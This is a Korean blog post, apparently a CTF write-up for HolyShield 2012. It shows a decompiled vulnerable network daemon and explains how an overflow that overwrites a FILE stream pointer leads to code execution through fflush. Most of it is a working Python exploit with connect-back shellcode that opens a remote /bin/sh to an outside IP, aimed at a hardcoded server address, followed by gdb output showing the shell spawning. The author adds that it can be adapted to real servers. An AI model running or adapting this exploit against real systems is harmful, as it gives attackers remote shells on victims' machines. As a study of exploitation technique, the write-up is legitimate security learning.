지난 주말 Cat-Security가 운영하는 HolySheild 2012가 있었습니다.

대회수준이 많이 좋아져서 살짝 놀랐는데요. 재밌는 Pwnable 문제들이 있어서 잠시 포스팅해봅니다.


저희 Individual-3팀은 이번에 MachoMan 팀과 연합해서 BananaMan으로 출전했는데요

중간에 제가 이 문제에 잠시 이상한(?) 길로 빠지면서 잉여력만 폭발했던 문제였습니다.

결국에는 exso가 정상적으로 풀었죠 ㅋ

전 exso가 문제를 정상적으로 풀고 나서도 한참을 해매고 있었습니다. ㅋㅋ


아래는 결과적으로 취약점이 있는 데몬의 함수부분을 디컴파일한 부분입니다. ㅋ


void __cdecl sub_8048CD6(int fd)

{

  unsigned int v1; // eax@1

  int v2; // eax@1

  int v3; // eax@4

  int *v4; // [sp+10h] [bp-3A0h]@1

  int v5; // [sp+14h] [bp-39Ch]@1

  char buf; // [sp+114h] [bp-29Ch]@4

  _BYTE v7[256]; // [sp+178h] [bp-238h]@1

  int v8; // [sp+278h] [bp-138h]@1

  unsigned int v9; // [sp+37Ch] [bp-34h]@1

  char v10; // [sp+383h] [bp-2Dh]@1

  int v11; // [sp+384h] [bp-2Ch]@1

  int v12; // [sp+388h] [bp-28h]@4

  FILE *stream; // [sp+38Ch] [bp-24h]@1

  void *v14; // [sp+390h] [bp-20h]@1

  int v15; // [sp+394h] [bp-1Ch]@1

  int v16; // [sp+398h] [bp-18h]@1

  int v17; // [sp+39Ch] [bp-14h]@1

  int v18; // [sp+3A0h] [bp-10h]@1

  int v19; // [sp+3A4h] [bp-Ch]@1

  int v20; // [sp+3B0h] [bp+0h]@1

  int v21; // [sp+3B4h] [bp+4h]@1


  memset(&v8, 0, 256u);

  memset(v7, 0, sizeof(v7));

  v15 = (int)&unk_804A734;

  v16 = 0;

  v17 = 0;

  memset(&v5, 0, 0x100u);

  v1 = time(0);

  srand(v1);

  v19 = v20;

  v18 = v21;

  v4 = (int *)&v4;

  v14 = malloc(0x5F5E100u);

  v2 = rand();

  v9 = (unsigned __int8)(((unsigned int)(v2 >> 31) >> 24) + (_BYTE)v2) - ((unsigned int)(v2 >> 31) >> 24);

  stream = fdopen(fd, "w");

  sub_8049115(fd, "ID : ", 5);

  sub_8049178(fd, (int)v7, 256, 10);

  v10 = v7[v9] >> 4;

  sub_8049115(fd, "Key : ", 6);

  v11 = sub_8049178(fd, (int)&v5, 256, 10);

  if ( v10 - 14 <= 0 )

  {

    sub_8049115(fd, "YAWA OG\n", 8);

    close(fd);

    exit(0);

  }

  sprintf(&buf, "Password (Rest chance : %d) : ", v10 - 14);

  v3 = strlen(&buf);

  sub_8049115(fd, &buf, v3);

  v12 = sub_8049178(fd, (int)&v8, 20 * v10, 10);

  sub_8048B39(&v5, v11, &v8, v12);

  sub_8049115(fd, "This password is correct?\n", 26);

  fprintf(stream, &byte_804A8BC);

  fflush(stream);

  v17 = v20;

  v16 = v21;

  if ( v20 != v19 || v16 != v18 || *(_DWORD *)v15 )

  {

    *(_DWORD *)v15 = 0;

    exit(0);

  }

  exit(0);

}


대부분의 팀에서 표시한 부분의 FSB를 이용해서 문제를 해결했을텐데요

저같은 경우에는 단지 포맷스트링 식상하다는 이유만으로

파랗게 표시된 부분의 overflow를 이용해서 문제를 해결했습니다.


overflow의 문제는 eip나 ebp를 덮을 수 있을정도로 충분히 overflow되지 않는다는 점이 문제인데요

우리는 이 overflow 취약점을 이용해서 stream 변수를 덮을 수 있습니다.

이를 이용하면 eip를 획득하는 것이 가능합니다.


자세한 내용은 FILE *fp 형태로 사용하시는 FILE Stream 구조와

fflush 함수의 내용을 분석해보시면 간단하게 파악하실 수 있습니다.


아래는 사용한 익스플로잇입니다. 건방진 멘티 권혁군을 겨냥해서 권혁군 스타일대로 짜봤습니다.


from socket import *

import struct


pack = lambda x : struct.pack( "<L", x )

unpack = lambda x : struct.unpack( "<L", x)[0]


shellcode = "\x31\xdb\x31\xc0\x53\x43\x53\x43\x53\xb0\x66\x4b\x89\xe1\xcd\x80\x31\xc9\x51\x51\x68\x79\xb7\x81\xec\x66\x68\x1f\x90\x66\x6a\x02\x89\xe2\x6a\x10\x52\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x5b\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\x90\x90"


#stack_base = 0xbf8a6d4c

stack_base = 0xbffff450

fake_stream = stack_base + 0x1cc

fake_ptr = stack_base + 0x29c


print len( shellcode )



s = socket( AF_INET, SOCK_STREAM )


s.connect( ( '121.183.129.236', 1202 ) )


stack_base = stack_base + 0x40


print s.recv( 1024 )

s.send( "\xff" * 256 )

print s.recv( 1024 )

s.send( "\xff" * 256 )

print s.recv( 1024 )

s.send( "\x90" * (200-len(shellcode)) + shellcode + "A" + pack(fake_ptr) * 13 + "AAA" + "\x42\x42\x42\x42" * 5 + pack(fake_stream) + "\x0a" )

print s.recv( 1024 )


s.close( )




문제 서버의 상태는 exec-sheild가 없고 ASLR이 적용되지 않은 상황이라

스택안의 쉘코드로도 충분히 동작시킬수 있습니다.


문제는 스택의 시작주소를 모른다는 것인데

stack_base 변수를 간단히 브포하면 쉽게 얻을수가 있죠 ㅋ


그런데, 문제는 이 문제 코딩하신분이 누구신지

공격에 한번 실패하면 좀비 프로세스가 남아 대회서버의 데몬이 죽어버린다는..... 문제였습니다 ㅋㅋ

(그래서 대회때 1번 문제 서버가 자꾸 죽어서 나중에는 서버를 증설하졌죠 ㅋㅋ

죄송합니다 제가 원인이었어요 ㅠㅠ)


마지막으로 제 서버에서 공격했을때 상황입니다. ㅋ


root@taechoe-warehouse:~/lab# gdb ./att

GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2

Copyright (C) 2010 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "i686-linux-gnu".

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>...

Reading symbols from /home/passket/lab/att...(no debugging symbols found)...done.

(gdb) r

Starting program: /home/passket/lab/att

Daemon started..(port is 1202)


요렇게 돌려놓은뒤에 (fork를 바이너리 패치해두어서 이렇습니다. ㅋ)

root@taechoe-warehouse:~/lab# python test.py
92
ID :
Key :
Password (Rest chance : 1) :
This password is correct?

요렇게 돌리시면

(gdb) r
Starting program: /home/passket/lab/att
Daemon started..(port is 1202)
process 1646 is executing new program: /bin/dash
$

요렇게 쉘이 뜨는 모습을 확인할 수 있습니다.
요건 제 서버라 원샷이고
다른 실서버라고 해도 스택의 시작주소만 유추할 수 있다면
원샷으로 만들수 있습니다.


ps. 같은 팀원들에게 괜히 대회중에 이상한 방법으로 풀려는 변태스러운 행위로 인해
잉여잉여했던 저의 잉여력에 대해 정중히 사과드립니다 ㅋㅋ

Posted by 알 수 없는 사용자
,